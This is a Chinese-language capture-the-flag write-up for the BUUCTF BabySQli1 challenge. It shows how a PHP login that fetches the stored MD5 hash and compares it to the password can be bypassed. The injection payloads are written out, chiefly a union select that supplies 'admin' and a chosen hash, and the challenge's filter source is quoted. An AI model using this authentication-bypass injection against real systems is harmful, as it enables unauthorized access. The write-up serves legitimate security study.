php后台驗證兩種方式繞過


php后台驗證兩種方式繞過

前言

  • 環境:buuctf中[GXYCTF2019]BabySQli1
  • 知識點:兩種驗證方式,密碼繞過
  • 參考:博客

做題

sql注入,fuzz過濾了(,),=,or

然后就琢磨着都過濾了(),函數都不能用,還怎么進行sql注入

嘗試着成功登錄進去

1'||1 like 1# !!!,沒有成功登進去,這說明后台查詢方式不是類似

where user='' and password=''

這題給了源碼

用戶登錄兩種業務查詢方式

一種是直接對用戶輸入的賬號名和密碼進行查詢


另一種是針對用戶輸入的賬號名進行查詢對應的密碼,再和用戶輸入的密碼做比較


根據題目的源碼,顯然是第二種

要繞過第二種可以利用union select

構造name=mi'union select 1,'admin','b6d767d2f8ed5d21a44b0e5886680cb9'#&pw=22 成功繞過

拿到flag

部分源碼

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM